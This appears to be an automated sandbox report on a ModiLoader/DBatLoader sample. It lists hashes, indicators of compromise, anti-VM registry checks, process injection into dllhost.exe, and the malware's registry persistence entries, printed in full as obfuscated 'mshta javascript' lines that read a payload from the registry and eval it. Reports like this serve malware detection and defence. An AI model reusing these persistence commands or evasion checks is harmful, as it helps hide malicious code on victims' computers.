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Analysis
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max time kernel
151s -
max time network
155s -
platform
windows7_x64 -
resource
win7-20220901-en -
resource tags
arch:x64arch:x86image:win7-20220901-enlocale:en-usos:windows7-x64system -
submitted
29/10/2022, 14:41
Static task
static1
Behavioral task
behavioral1
Sample
db641603225209f99d590f7ac618a9a3403a22cba4ca0233ea5f4fd839e11dbf.exe
Resource
win7-20220901-en
windows7-x64
14 signatures
150 seconds
Behavioral task
behavioral2
Sample
db641603225209f99d590f7ac618a9a3403a22cba4ca0233ea5f4fd839e11dbf.exe
Resource
win10v2004-20220812-en
windows10-2004-x64
13 signatures
150 seconds
General
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Target
db641603225209f99d590f7ac618a9a3403a22cba4ca0233ea5f4fd839e11dbf.exe
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Size
587KB
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MD5
57e1fc1b99b335630574616271e911cc
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SHA1
5e4f5ccde85dd6adc9c63bb1d230fd2bc7529ebf
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SHA256
db641603225209f99d590f7ac618a9a3403a22cba4ca0233ea5f4fd839e11dbf
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SHA512
118ac5dd8cd2294e3654d95bf6c0e1cc3f15640d1f7afee64d3165d72503221513165d03cd3380b37f1ea426dd0f92add1f01a54fdaed7f570d7544435aa6f84
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SSDEEP
6144:Ga6JYkfLe1ZQaLflrrDcQx2OLSdntybTA/jK96sWgx6Etoe1cg0jR4YQgm6hFGN0:gV+f/DcGueA7ovh1L0jR4w/K/v0
Score
10/10
Malware Config
Signatures
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ModiLoader, DBatLoader
ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.
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Checks for common network interception software 1 TTPs
Looks in the registry for tools like Wireshark or Fiddler commonly used to analyze network activity.
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Looks for VirtualBox Guest Additions in registry 2 TTPs 1 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Oracle\VirtualBox Guest Additions dllhost.exe -
ModiLoader Second Stage 11 IoCs
resource yara_rule behavioral1/memory/1324-56-0x0000000000400000-0x0000000000498000-memory.dmp modiloader_stage2 behavioral1/memory/1324-57-0x0000000000050000-0x0000000000114000-memory.dmp modiloader_stage2 behavioral1/memory/1324-60-0x0000000000050000-0x0000000000114000-memory.dmp modiloader_stage2 behavioral1/memory/668-62-0x0000000000210000-0x00000000002D4000-memory.dmp modiloader_stage2 behavioral1/memory/668-64-0x0000000000210000-0x00000000002D4000-memory.dmp modiloader_stage2 behavioral1/memory/1304-67-0x0000000000170000-0x0000000000234000-memory.dmp modiloader_stage2 behavioral1/memory/1760-70-0x0000000000150000-0x0000000000214000-memory.dmp modiloader_stage2 behavioral1/memory/1876-75-0x0000000000080000-0x0000000000144000-memory.dmp modiloader_stage2 behavioral1/memory/1876-76-0x0000000000080000-0x0000000000144000-memory.dmp modiloader_stage2 behavioral1/memory/1304-77-0x0000000000170000-0x0000000000234000-memory.dmp modiloader_stage2 behavioral1/memory/1760-78-0x0000000000150000-0x0000000000214000-memory.dmp modiloader_stage2 -
Adds policy Run key to start application 2 TTPs 2 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run dllhost.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\ = "mshta javascript:bCT9rpns=\"wKg\";a6v7=new%20ActiveXObject(\"WScript.Shell\");nu2O4vkMT=\"2aXojYd\";d61TtO=a6v7.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\373ec584\\\\24f6e4fc\");U2Rrtkdb7=\"s4T\";eval(d61TtO);ftJoM4Hz=\"M5\";" dllhost.exe -
Looks for VMWare Tools registry key 2 TTPs 1 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\VMware, Inc.\VMware Tools dllhost.exe -
Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion dllhost.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion dllhost.exe -
Deletes itself 1 IoCs
pid Process 1304 dllhost.exe -
Adds Run key to start application 2 TTPs 2 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\ = "mshta javascript:VQFOh98Cpw=\"bPvFN\";D71W=new%20ActiveXObject(\"WScript.Shell\");xdv7iHQC=\"4L\";jS8VU4=D71W.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\373ec584\\\\24f6e4fc\");Mya4ZVimt=\"suGenLfxXd\";eval(jS8VU4);zDjUZl7mZ=\"O\";" dllhost.exe Set value (str) \REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Windows\CurrentVersion\Run\ = "mshta javascript:XGEVDa0uv=\"a1x\";Mb4=new%20ActiveXObject(\"WScript.Shell\");OvciB4J=\"PPvgQySd\";k6Bq9G=Mb4.RegRead(\"HKCU\\\\software\\\\373ec584\\\\24f6e4fc\");NAsqEo7=\"bwsnHH\";eval(k6Bq9G);pulB9vhpc1=\"BOVyb62r8\";" dllhost.exe -
Maps connected drives based on registry 3 TTPs 2 IoCs
Disk information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum dllhost.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Disk\Enum\0 dllhost.exe -
description ioc Process Key created \REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl dllhost.exe Key created \REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Internet Explorer\International dllhost.exe Key created \REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION dllhost.exe Set value (int) \REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\explorer.exe = "0" dllhost.exe Set value (int) \REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\iexplore.exe = "0" dllhost.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN\FeatureControl\FEATURE_BROWSER_EMULATION\dllhost.exe = "0" dllhost.exe Set value (int) \REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\dllhost.exe = "0" dllhost.exe Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION dllhost.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN\FeatureControl\FEATURE_BROWSER_EMULATION\explorer.exe = "0" dllhost.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN\FeatureControl\FEATURE_BROWSER_EMULATION\iexplore.exe = "0" dllhost.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 1304 dllhost.exe 1304 dllhost.exe 1304 dllhost.exe 1304 dllhost.exe 1304 dllhost.exe 1304 dllhost.exe 1304 dllhost.exe 1304 dllhost.exe 1304 dllhost.exe 1304 dllhost.exe 1304 dllhost.exe 1304 dllhost.exe 1304 dllhost.exe 1304 dllhost.exe 1304 dllhost.exe 1304 dllhost.exe 1304 dllhost.exe 1304 dllhost.exe 1304 dllhost.exe 1304 dllhost.exe 1304 dllhost.exe 1304 dllhost.exe 1304 dllhost.exe 1304 dllhost.exe 1304 dllhost.exe 1304 dllhost.exe 1304 dllhost.exe 1304 dllhost.exe 1304 dllhost.exe 1304 dllhost.exe 1304 dllhost.exe 1304 dllhost.exe 1304 dllhost.exe 1304 dllhost.exe 1304 dllhost.exe 1304 dllhost.exe 1304 dllhost.exe 1304 dllhost.exe 1304 dllhost.exe 1304 dllhost.exe 1304 dllhost.exe 1304 dllhost.exe 1304 dllhost.exe 1304 dllhost.exe 1304 dllhost.exe 1304 dllhost.exe 1304 dllhost.exe 1304 dllhost.exe 1304 dllhost.exe 1304 dllhost.exe 1304 dllhost.exe 1304 dllhost.exe 1304 dllhost.exe 1304 dllhost.exe 1304 dllhost.exe 1304 dllhost.exe 1304 dllhost.exe 1304 dllhost.exe 1304 dllhost.exe 1304 dllhost.exe 1304 dllhost.exe 1304 dllhost.exe 1304 dllhost.exe 1304 dllhost.exe -
Suspicious behavior: MapViewOfSection 12 IoCs
pid Process 1324 db641603225209f99d590f7ac618a9a3403a22cba4ca0233ea5f4fd839e11dbf.exe 1324 db641603225209f99d590f7ac618a9a3403a22cba4ca0233ea5f4fd839e11dbf.exe 1324 db641603225209f99d590f7ac618a9a3403a22cba4ca0233ea5f4fd839e11dbf.exe 668 dllhost.exe 668 dllhost.exe 668 dllhost.exe 1304 dllhost.exe 1304 dllhost.exe 1304 dllhost.exe 1304 dllhost.exe 1304 dllhost.exe 1304 dllhost.exe -
Suspicious use of WriteProcessMemory 16 IoCs
description pid Process procid_target PID 1324 wrote to memory of 668 1324 db641603225209f99d590f7ac618a9a3403a22cba4ca0233ea5f4fd839e11dbf.exe 27 PID 1324 wrote to memory of 668 1324 db641603225209f99d590f7ac618a9a3403a22cba4ca0233ea5f4fd839e11dbf.exe 27 PID 1324 wrote to memory of 668 1324 db641603225209f99d590f7ac618a9a3403a22cba4ca0233ea5f4fd839e11dbf.exe 27 PID 1324 wrote to memory of 668 1324 db641603225209f99d590f7ac618a9a3403a22cba4ca0233ea5f4fd839e11dbf.exe 27 PID 668 wrote to memory of 1304 668 dllhost.exe 28 PID 668 wrote to memory of 1304 668 dllhost.exe 28 PID 668 wrote to memory of 1304 668 dllhost.exe 28 PID 668 wrote to memory of 1304 668 dllhost.exe 28 PID 1304 wrote to memory of 1760 1304 dllhost.exe 29 PID 1304 wrote to memory of 1760 1304 dllhost.exe 29 PID 1304 wrote to memory of 1760 1304 dllhost.exe 29 PID 1304 wrote to memory of 1760 1304 dllhost.exe 29 PID 1304 wrote to memory of 1876 1304 dllhost.exe 30 PID 1304 wrote to memory of 1876 1304 dllhost.exe 30 PID 1304 wrote to memory of 1876 1304 dllhost.exe 30 PID 1304 wrote to memory of 1876 1304 dllhost.exe 30
Processes
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C:\Users\Admin\AppData\Local\Temp\db641603225209f99d590f7ac618a9a3403a22cba4ca0233ea5f4fd839e11dbf.exe"C:\Users\Admin\AppData\Local\Temp\db641603225209f99d590f7ac618a9a3403a22cba4ca0233ea5f4fd839e11dbf.exe"1⤵
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:1324 -
C:\Windows\SysWOW64\dllhost.exedllhost.exe2⤵
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:668 -
C:\Windows\SysWOW64\dllhost.exedllhost.exe3⤵
- Looks for VirtualBox Guest Additions in registry
- Adds policy Run key to start application
- Looks for VMWare Tools registry key
- Checks BIOS information in registry
- Deletes itself
- Adds Run key to start application
- Maps connected drives based on registry
- Modifies Internet Explorer settings
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:1304 -
C:\Windows\SysWOW64\dllhost.exe"C:\Windows\SysWOW64\dllhost.exe"4⤵PID:1760
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C:\Windows\SysWOW64\explorer.exeexplorer.exe4⤵PID:1876
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